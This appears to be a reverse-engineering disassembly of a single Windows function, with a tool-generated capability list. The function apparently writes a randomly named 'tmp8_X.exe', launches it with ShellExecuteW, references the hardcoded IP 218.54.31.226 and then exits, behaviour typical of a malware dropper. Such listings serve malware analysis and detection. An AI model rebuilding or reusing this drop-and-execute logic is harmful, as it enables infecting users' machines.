Function at 0x406890
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x234], str.OurPro
mov dword [ebp - 0x238], 0x42a698
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x23c], eax
mov ecx, dword [ebp - 0x234]
mov dx, word [ecx]
mov word [ebp - 0x23e], dx
mov eax, dword [ebp - 0x238]
mov cx, word [ebp - 0x23e]
mov word [eax], cx
mov edx, dword [ebp - 0x234]
add edx, 2
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x238]
add eax, 2
mov dword [ebp - 0x238], eax
cmp word [ebp - 0x23e], 0
jne 0x4068c3
mov dword [ebp - 0x244], str.WinCls
mov dword [ebp - 0x248], 0x42a5d0
mov ecx, dword [ebp - 0x248]
mov dword [ebp - 0x24c], ecx
mov edx, dword [ebp - 0x244]
mov ax, word [edx]
mov word [ebp - 0x24e], ax
mov ecx, dword [ebp - 0x248]
mov dx, word [ebp - 0x24e]
mov word [ecx], dx
mov eax, dword [ebp - 0x244]
add eax, 2
mov dword [ebp - 0x244], eax
mov ecx, dword [ebp - 0x248]
add ecx, 2
mov dword [ebp - 0x248], ecx
cmp word [ebp - 0x24e], 0
jne 0x40692b
mov edx, dword [ebp + 8]
push edx
call fcn.00406b60
add esp, 4
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x254], eax
mov dword [ebp - 0x258], 0x42a768
mov ecx, dword [ebp - 0x258]
mov dword [ebp - 0x25c], ecx
mov edx, dword [ebp - 0x254]
mov ax, word [edx]
mov word [ebp - 0x25e], ax
mov ecx, dword [ebp - 0x258]
mov dx, word [ebp - 0x25e]
mov word [ecx], dx
mov eax, dword [ebp - 0x254]
add eax, 2
mov dword [ebp - 0x254], eax
mov ecx, dword [ebp - 0x258]
add ecx, 2
mov dword [ebp - 0x258], ecx
cmp word [ebp - 0x25e], 0
jne 0x40699e
call section..text
mov dword [0x42906c], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401110
test eax, eax
je 0x406a11
call fcn.00403360
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00406be0
add esp, 8
test eax, eax
jne 0x406a2c
xor eax, eax
jmp 0x406b4f
xor ecx, ecx
mov word [ebp - 0x230], cx
push 0x206
push 0
lea edx, [ebp - 0x22e]
push edx
call fcn.00413990
add esp, 0xc
cmp dword [0x42ac70], 0
jbe 0x406a81
movzx eax, word [0x42ac74]
test eax, eax
jle 0x406a81
push str.218.54.31.226
mov ecx, dword [0x42ac70]
push ecx
call fcn.00404810
add esp, 8
mov dx, word [0x42ac74]
mov word [0x429060], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
push edx
push str.tmp8_X.exe
push 0x42b028
call fcn.00406d10
add esp, 0xc
call fcn.004048c0
lea eax, [ebp - 0x230]
push eax
call fcn.00405c10
add esp, 4
push 0x425ad4
push 0x104
lea ecx, [ebp - 0x230]
push ecx
call fcn.004100f4
add esp, 0xc
push 0x42b028
push 0x104
lea edx, [ebp - 0x230]
push edx
call fcn.004100f4
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x406b2f
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x425dec
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call fcn.00405d70
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.004100e5
mov esp, ebp
pop ebp
ret 0x10